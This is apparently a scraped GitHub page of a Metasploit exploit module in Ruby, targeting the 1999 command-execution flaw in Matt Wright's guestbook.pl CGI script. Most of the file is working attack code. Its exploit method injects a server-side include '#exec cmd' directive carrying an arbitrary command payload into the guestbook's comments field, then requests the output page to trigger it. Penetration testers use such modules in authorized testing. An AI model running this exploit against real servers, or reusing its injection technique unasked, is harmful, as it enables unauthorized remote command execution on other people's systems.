-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
guestbook_ssi_exec.rb
81 lines (69 loc) · 2.65 KB
/
guestbook_ssi_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '1999-1053' ],
[ 'OSVDB', '84' ],
[ 'BID', '776' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python bash telnet',
}
},
'Platform' => %w{ linux unix win },
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 05 1999',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
], self.class)
end
def exploit
realname = rand_text_alphanumeric(20)
email = rand_text_alphanumeric(20)
city = rand_text_alphanumeric(20)
state = rand_text_alphanumeric(20)
country = rand_text_alphanumeric(20)
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')
req1 = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
}, 25)
req2 = send_request_raw({
'uri' => normalize_uri(datastore['URIOUT']),
}, 25)
end
end